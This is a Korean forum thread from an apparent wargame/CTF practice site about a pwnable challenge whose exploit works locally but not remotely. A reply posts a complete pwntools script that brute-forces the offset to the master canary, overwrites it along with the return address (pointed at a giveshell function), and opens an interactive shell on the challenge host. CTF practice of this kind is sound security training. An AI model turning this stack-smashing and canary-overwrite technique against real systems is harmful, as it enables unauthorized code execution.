로컬에서는 되는데 서버에서 안됩니다 ㅠ

로컬환경 ubuntu 22.04로 서버와 동일합니다.
혹시몰라 강의 예제코드 복붙해서 실행시켜봤는데도 (process() 만 remote() 로 변경해서요) 안됩니다...
이유가 있을까요?

#pwnable
작성자 정보
답변 2
avatar
wyv3rn
무플 방지 위원회장

마스터 카나리까지 거리가 로컬과 리모트에서 조금 다를 수 있습니다 ㅎ

2023.06.14. 07:06
avatar
연님
답변 등록: 1
n = 0x120
while n<0x1000:
    p = remote("host3.dreamhack.games", 10514)

    payload = b'A'*0x118 # buf + DUMMY + SFP
    payload += p64(giveshell) # RET
    payload += b'A'*(n-len(payload))
    payload += p64(0x404f80-0x972) # valid address for fs:0x10 + 0x972
    payload += b'B'*0x10 # DUMMY
    payload += b'A'*8 # Master Canary

    bufsize = len(payload) // 8

    p.sendlineafter("Size: ", str(bufsize))
    p.sendafter("Data: ", payload)
    try:
        p.sendline("ls")
        if b'smashing' in p.recv(100):
            raise Exception()
    except:
        print("n: {} failed. sorry...".format(n))
        n += 8
        continue
    p.interactive()
2023.06.14. 19:35
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기